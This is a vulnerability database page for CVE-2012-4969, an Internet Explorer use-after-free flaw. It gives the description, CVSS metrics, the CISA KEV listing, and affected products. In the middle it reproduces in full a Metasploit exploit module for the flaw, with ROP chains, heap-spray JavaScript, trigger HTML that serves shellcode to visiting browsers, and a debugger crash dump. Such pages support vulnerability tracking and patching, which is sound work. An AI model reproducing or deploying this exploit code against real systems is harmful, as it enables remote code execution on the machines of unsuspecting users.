CVE-2012-4969 : Detail

CVE-2012-4969

8.1
/
High
Memory Corruption
83.49%V3
Network
2012-09-18
10h00 +00:00
2025-02-04
21h20 +00:00
CVE.org
NVD
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CVE Descriptions

Use-after-free vulnerability in the CMshtmlEd::Exec function in mshtml.dll in Microsoft Internet Explorer 6 through 9 allows remote attackers to execute arbitrary code via a crafted web site, as exploited in the wild in September 2012.

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-416 Use After Free
The product reuses or references memory after it has been freed. At some point afterward, the memory may be allocated again and saved in another pointer, while the original pointer references a location somewhere within the new allocation. Any operations using the original pointer are no longer valid because the memory "belongs" to the code that operates on the new pointer.

Metrics

Metrics Score Severity CVSS Vector Source
V3.1 8.1 HIGH CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Network

The vulnerable component is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers).

Attack Complexity

This metric describes the conditions beyond the attacker’s control that must exist in order to exploit the vulnerability.

High

successful attack depends on conditions beyond the attacker's control. That is, a successful attack cannot be accomplished at will, but requires the attacker to invest in some measurable amount of effort in preparation or execution against the vulnerable component before a successful attack can be expected.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

None

The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.

User Interaction

This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable component.

None

The vulnerable system can be exploited without interaction from any user.

Base: Scope Metrics

The Scope metric captures whether a vulnerability in one vulnerable component impacts resources in components beyond its security scope.

Scope

Formally, a security authority is a mechanism (e.g., an application, an operating system, firmware, a sandbox environment) that defines and enforces access control in terms of how certain subjects/actors (e.g., human users, processes) can access certain restricted objects/resources (e.g., files, CPU, memory) in a controlled manner. All the subjects and objects under the jurisdiction of a single security authority are considered to be under one security scope. If a vulnerability in a vulnerable component can affect a component which is in a different security scope than the vulnerable component, a Scope change occurs. Intuitively, whenever the impact of a vulnerability breaches a security/trust boundary and impacts components outside the security scope in which vulnerable component resides, a Scope change occurs.

Unchanged

An exploited vulnerability can only affect resources managed by the same security authority. In this case, the vulnerable component and the impacted component are either the same, or both are managed by the same security authority.

Base: Impact Metrics

The Impact metrics capture the effects of a successfully exploited vulnerability on the component that suffers the worst outcome that is most directly and predictably associated with the attack. Analysts should constrain impacts to a reasonable, final outcome which they are confident an attacker is able to achieve.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

High

There is a total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

High

There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

High

There is a total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable).

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence in the description of a vulnerability.

Environmental Metrics

These metrics enable the analyst to customize the CVSS score depending on the importance of the affected IT asset to a user’s organization, measured in terms of Confidentiality, Integrity, and Availability.

 134c704f-9b21-4f2e-91b3-4a467353bcc0
V2 9.3 AV:N/AC:M/Au:N/C:C/I:C/A:C [email protected]

CISA KEV (Known Exploited Vulnerabilities)

Vulnerability name : Microsoft Internet Explorer Use-After-Free Vulnerability

Required action : Apply updates per vendor instructions.

Known To Be Used in Ransomware Campaigns : Unknown

Added : 2022-06-07 22h00 +00:00

Action is due : 2022-06-21 22h00 +00:00

Important information
This CVE is identified as vulnerable and poses an active threat, according to the Catalog of Known Exploited Vulnerabilities (CISA KEV). The CISA has listed this vulnerability as actively exploited by cybercriminals, emphasizing the importance of taking immediate action to address this flaw. It is imperative to prioritize the update and remediation of this CVE to protect systems against potential cyberattacks.

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
EPSS First.org

Exploit information

Exploit Database EDB-ID : 21840

Publication date : 2012-10-09 22h00 +00:00
Author : Metasploit
EDB Verified : Yes

## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = GoodRanking include Msf::Exploit::Remote::HttpServer::HTML include Msf::Exploit::RopDb include Msf::Exploit::Remote::BrowserAutopwn autopwn_info({ :ua_name => HttpClients::IE, :ua_minver => "7.0", :ua_maxver => "9.0", :javascript => true, :rank => GoodRanking }) def initialize(info={}) super(update_info(info, 'Name' => "MS12-063 Microsoft Internet Explorer execCommand Use-After-Free Vulnerability ", 'Description' => %q{ This module exploits a vulnerability found in Microsoft Internet Explorer (MSIE). When rendering an HTML page, the CMshtmlEd object gets deleted in an unexpected manner, but the same memory is reused again later in the CMshtmlEd::Exec() function, leading to a use-after-free condition. Please note that this vulnerability has been exploited in the wild since Sep 14 2012. Also note that presently, this module has some target dependencies for the ROP chain to be valid. For WinXP SP3 with IE8, msvcrt must be present (as it is by default). For Vista or Win7 with IE8, or Win7 with IE9, JRE 1.6.x or below must be installed (which is often the case). }, 'License' => MSF_LICENSE, 'Author' => [ 'unknown', # via ZDI 'eromang', # First public discovery 'binjo', 'sinn3r', # Metasploit 'juan vazquez' # Metasploit ], 'References' => [ [ 'CVE', '2012-4969' ], [ 'OSVDB', '85532' ], [ 'MSB', 'MS12-063' ], [ 'URL', 'http://technet.microsoft.com/en-us/security/advisory/2757760' ], [ 'URL', 'http://eromang.zataz.com/2012/09/16/zero-day-season-is-really-not-over-yet/' ], [ 'URL', 'http://blog.vulnhunt.com/index.php/2012/09/17/ie-execcommand-fuction-use-after-free-vulnerability-0day/'], [ 'URL', 'http://metasploit.com' ] ], 'Payload' => { 'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff" # Stack adjustment # add esp, -3500 }, 'DefaultOptions' => { 'ExitFunction' => "none", 'InitialAutoRunScript' => 'migrate -f', }, 'Platform' => 'win', 'Targets' => [ [ 'Automatic', {} ], [ 'IE 7 on Windows XP SP3', { 'Rop' => nil, 'Offset' => '0x5fa', 'Random' => false } ], [ 'IE 8 on Windows XP SP3', { 'Rop' => :msvcrt, 'Offset' => '0x5f4', 'Random' => false } ], [ 'IE 7 on Windows Vista', { 'Rop' => nil, 'Offset' => '0x5fa', 'Random' => false } ], [ 'IE 8 on Windows Vista', { 'Rop' => :jre, 'Offset' => '0x5f4', 'Random' => false } ], [ 'IE 8 on Windows 7', { 'Rop' => :jre, 'Offset' => '0x5f4', 'Random' => false } ], [ 'IE 9 on Windows 7', { 'Rop' => :jre, 'Offset' => '0x5fc', 'Random' => true } ] ], 'Privileged' => false, 'DisclosureDate' => "Sep 14 2012", # When it was spotted in the wild by eromang 'DefaultTarget' => 0)) register_options( [ OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false]) ], self.class) end def get_target(agent) #If the user is already specified by the user, we'll just use that return target if target.name != 'Automatic' nt = agent.scan(/Windows NT (\d\.\d)/).flatten[0] || '' ie = agent.scan(/MSIE (\d)/).flatten[0] || '' ie_name = "IE #{ie}" case nt when '5.1' os_name = 'Windows XP SP3' when '6.0' os_name = 'Windows Vista' when '6.1' os_name = 'Windows 7' end targets.each do |t| if (!ie.empty? and t.name.include?(ie_name)) and (!nt.empty? and t.name.include?(os_name)) vprint_status("Target selected as: #{t.name}") return t end end return nil end def junk(n=4) return rand_text_alpha(n).unpack("V")[0].to_i end def nop return make_nops(4).unpack("V")[0].to_i end def get_payload(t, cli) code = payload.encoded # No rop. Just return the payload. return code if t['Rop'].nil? # Both ROP chains generated by mona.py - See corelan.be case t['Rop'] when :msvcrt print_status("Using msvcrt ROP") exec_size = code.length stack_pivot = [ 0x77c4e393, # RETN 0x77c4e392, # POP EAX # RETN 0x77c15ed5, # XCHG EAX, ESP # RETN ].pack("V*") rop_payload = generate_rop_payload('msvcrt', code, {'pivot'=>stack_pivot, 'target'=>'xp'}) else print_status("Using JRE ROP") exec_size = 0xffffffff - code.length + 1 if t['Random'] stack_pivot = [ 0x0c0c0c0c, # 0c0c0c08 0x7c347f98, # RETN 0x7c347f97, # POP EDX # RETN 0x7c348b05 # XCHG EAX, ESP # RET ].pack("V*") else stack_pivot = [ 0x7c347f98, # RETN 0x7c347f97, # POP EDX # RETN 0x7c348b05 # XCHG EAX, ESP # RET ].pack("V*") end rop_payload = generate_rop_payload('java', code, {'pivot'=>stack_pivot}) end return rop_payload end # Spray published by corelanc0d3r # Exploit writing tutorial part 11 : Heap Spraying Demystified # See https://www.corelan.be/index.php/2011/12/31/exploit-writing-tutorial-part-11-heap-spraying-demystified/ def get_random_spray(t, js_code, js_nops) spray = <<-JS function randomblock(blocksize) { var theblock = ""; for (var i = 0; i < blocksize; i++) { theblock += Math.floor(Math.random()*90)+10; } return theblock; } function tounescape(block) { var blocklen = block.length; var unescapestr = ""; for (var i = 0; i < blocklen-1; i=i+4) { unescapestr += "%u" + block.substring(i,i+4); } return unescapestr; } var heap_obj = new heapLib.ie(0x10000); var code = unescape("#{js_code}"); var nops = unescape("#{js_nops}"); while (nops.length < 0x80000) nops += nops; var offset_length = #{t['Offset']}; for (var i=0; i < 0x1000; i++) { var padding = unescape(tounescape(randomblock(0x1000))); while (padding.length < 0x1000) padding+= padding; var junk_offset = padding.substring(0, offset_length); var single_sprayblock = junk_offset + code + nops.substring(0, 0x800 - code.length - junk_offset.length); while (single_sprayblock.length < 0x20000) single_sprayblock += single_sprayblock; sprayblock = single_sprayblock.substring(0, (0x40000-6)/2); heap_obj.alloc(sprayblock); } JS return spray end def get_spray(t, js_code, js_nops) js = <<-JS var heap_obj = new heapLib.ie(0x20000); var code = unescape("#{js_code}"); var nops = unescape("#{js_nops}"); while (nops.length < 0x80000) nops += nops; var offset = nops.substring(0, #{t['Offset']}); var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length); while (shellcode.length < 0x40000) shellcode += shellcode; var block = shellcode.substring(0, (0x80000-6)/2); heap_obj.gc(); for (var i=1; i < 0x300; i++) { heap_obj.alloc(block); } var overflow = nops.substring(0, 10); JS end def load_html1(cli, my_target) p = get_payload(my_target, cli) js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(my_target.arch)) js_nops = Rex::Text.to_unescape("\x0c"*4, Rex::Arch.endian(my_target.arch)) js_r_nops = Rex::Text.to_unescape(make_nops(4), Rex::Arch.endian(my_target.arch)) if my_target['Random'] js = get_random_spray(my_target, js_code, js_r_nops) else js = get_spray(my_target, js_code, js_nops) end js = heaplib(js, {:noobfu => true}) if datastore['OBFUSCATE'] js = ::Rex::Exploitation::JSObfu.new(js) js.obfuscate end html = %Q| <html> <body> <script> var arrr = new Array(); arrr[0] = window.document.createElement("img"); arrr[0]["src"] = "#{Rex::Text.rand_text_alpha(1)}"; </script> <iframe src="#{this_resource}/#{@html2_name}"></iframe> <script> #{js} </script> </body> </html> | return html end def load_html2 html = %Q| <HTML> <script> function funcB() { document.execCommand("selectAll"); }; function funcA() { document.write("#{Rex::Text.rand_text_alpha(1)}"); parent.arrr[0].src = "YMjf\\u0c08\\u0c0cKDogjsiIejengNEkoPDjfiJDIWUAzdfghjAAuUFGGBSIPPPUDFJKSOQJGH"; } </script> <body onload='funcB();' onselect='funcA()'> <div contenteditable='true'> a </div> </body> </HTML> | return html end def this_resource r = get_resource return ( r == '/') ? '' : r end def on_request_uri(cli, request) uri = request.uri agent = request.headers['User-Agent'] my_target = get_target(agent) vprint_status("Requesting: #{uri}") print_status(agent) # Avoid the attack if the victim doesn't have the same setup we're targeting if my_target.nil? print_error("Browser not supported, sending a 404: #{agent.to_s}") send_not_found(cli) return end if uri =~ /#{@html2_name}/ print_status("Loading #{@html2_name}") html = load_html2 elsif uri =~ /#{@html1_name}/ print_status("Loading #{@html1_name}") html = load_html1(cli, my_target) elsif uri =~ /\/$/ or (!this_resource.empty? and uri =~ /#{this_resource}$/) print_status("Redirecting to #{@html1_name}") send_redirect(cli, "#{this_resource}/#{@html1_name}") return else send_not_found(cli) return end html = html.gsub(/^\t\t/, '') send_response(cli, html, {'Content-Type'=>'text/html'}) end def exploit @html1_name = "#{Rex::Text.rand_text_alpha(5)}.html" @html2_name = "#{Rex::Text.rand_text_alpha(6)}.html" super end end =begin 0:008> r eax=00000000 ebx=0000001f ecx=002376c8 edx=0000000d esi=00000000 edi=0c0c0c08 eip=637d464e esp=020bbe80 ebp=020bbe8c iopl=0 nv up ei pl nz na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010206 mshtml!CMshtmlEd::Exec+0x134: 637d464e 8b07 mov eax,dword ptr [edi] ds:0023:0c0c0c08=???????? 0:008> u mshtml!CMshtmlEd::Exec+0x134: 637d464e 8b07 mov eax,dword ptr [edi] 637d4650 57 push edi 637d4651 ff5008 call dword ptr [eax+8] 0:008> k ChildEBP RetAddr 020bbe8c 637d4387 mshtml!CMshtmlEd::Exec+0x134 020bbebc 637be2fc mshtml!CEditRouter::ExecEditCommand+0xd6 020bc278 638afda7 mshtml!CDoc::ExecHelper+0x3c91 020bc298 638ee2a9 mshtml!CDocument::Exec+0x24 020bc2c0 638b167b mshtml!CBase::execCommand+0x50 020bc2f8 638e7445 mshtml!CDocument::execCommand+0x93 020bc370 636430c9 mshtml!Method_VARIANTBOOLp_BSTR_oDoVARIANTBOOL_o0oVARIANT+0x149 020bc3e4 63643595 mshtml!CBase::ContextInvokeEx+0x5d1 020bc410 63643832 mshtml!CBase::InvokeEx+0x25 020bc460 635e1cdc mshtml!DispatchInvokeCollection+0x14b 020bc4a8 63642f30 mshtml!CDocument::InvokeEx+0xf1 020bc4d0 63642eec mshtml!CBase::VersionedInvokeEx+0x20 020bc520 633a6d37 mshtml!PlainInvokeEx+0xea 020bc560 633a6c75 jscript!IDispatchExInvokeEx2+0xf8 020bc59c 633a9cfe jscript!IDispatchExInvokeEx+0x6a 020bc65c 633a9f3c jscript!InvokeDispatchEx+0x98 020bc690 633a77ff jscript!VAR::InvokeByName+0x135 020bc6dc 633a85c7 jscript!VAR::InvokeDispName+0x7a 020bc708 633a9c0b jscript!VAR::InvokeByDispID+0xce 020bc8a4 633a5ab0 jscript!CScriptRuntime::Run+0x2989 =end

Products Mentioned

Configuraton 0

Microsoft>>Internet_explorer >> Version 6

Microsoft>>Windows_server >> Version 2003

    Microsoft>>Windows_server >> Version 2003

      Microsoft>>Windows_server >> Version 2003

        Microsoft>>Windows_xp >> Version *

        Microsoft>>Windows_xp >> Version *

        Configuraton 0

        Microsoft>>Internet_explorer >> Version 7

        Microsoft>>Windows_server >> Version 2003

          Microsoft>>Windows_server >> Version 2003

            Microsoft>>Windows_server >> Version 2003

              Microsoft>>Windows_server >> Version 2008

                Microsoft>>Windows_server >> Version 2008

                  Microsoft>>Windows_server >> Version 2008

                    Microsoft>>Windows_vista >> Version *

                    Microsoft>>Windows_vista >> Version *

                    Microsoft>>Windows_vista >> Version -

                    Microsoft>>Windows_xp >> Version *

                    Microsoft>>Windows_xp >> Version -

                    Configuraton 0

                    Microsoft>>Internet_explorer >> Version 8

                    Microsoft>>Windows_7 >> Version *

                    Microsoft>>Windows_7 >> Version *

                    Microsoft>>Windows_7 >> Version *

                    Microsoft>>Windows_7 >> Version -

                    Microsoft>>Windows_server >> Version 2003

                      Microsoft>>Windows_server >> Version 2003

                        Microsoft>>Windows_server >> Version 2008

                          Microsoft>>Windows_server >> Version 2008

                            Microsoft>>Windows_server_2008 >> Version r2

                            Microsoft>>Windows_server_2008 >> Version r2

                            Microsoft>>Windows_server_2008 >> Version r2

                            Microsoft>>Windows_server_2008 >> Version r2

                            Microsoft>>Windows_vista >> Version *

                            Microsoft>>Windows_vista >> Version *

                            Microsoft>>Windows_vista >> Version -

                            Microsoft>>Windows_xp >> Version *

                            Microsoft>>Windows_xp >> Version -

                            Configuraton 0

                            Microsoft>>Internet_explorer >> Version 9

                            Microsoft>>Windows_7 >> Version *

                            Microsoft>>Windows_7 >> Version *

                            Microsoft>>Windows_7 >> Version *

                            Microsoft>>Windows_7 >> Version *

                            Microsoft>>Windows_7 >> Version -

                            Microsoft>>Windows_7 >> Version -

                            Microsoft>>Windows_7 >> Version -

                            Microsoft>>Windows_server_2008 >> Version *

                            Microsoft>>Windows_server_2008 >> Version -

                            Microsoft>>Windows_server_2008 >> Version r2

                            Microsoft>>Windows_server_2008 >> Version r2

                            Microsoft>>Windows_vista >> Version *

                            Microsoft>>Windows_vista >> Version sp2

                              References

                              http://www.us-cert.gov/cas/techalerts/TA12-265A.html
                              Tags : third-party-advisory, x_refsource_CERT
                              http://www.kb.cert.org/vuls/id/480095
                              Tags : third-party-advisory, x_refsource_CERT-VN
                              http://www.us-cert.gov/cas/techalerts/TA12-262A.html
                              Tags : third-party-advisory, x_refsource_CERT
                              http://www.us-cert.gov/cas/techalerts/TA12-255A.html
                              Tags : third-party-advisory, x_refsource_CERT
                              http://www.securitytracker.com/id?1027538
                              Tags : vdb-entry, x_refsource_SECTRACK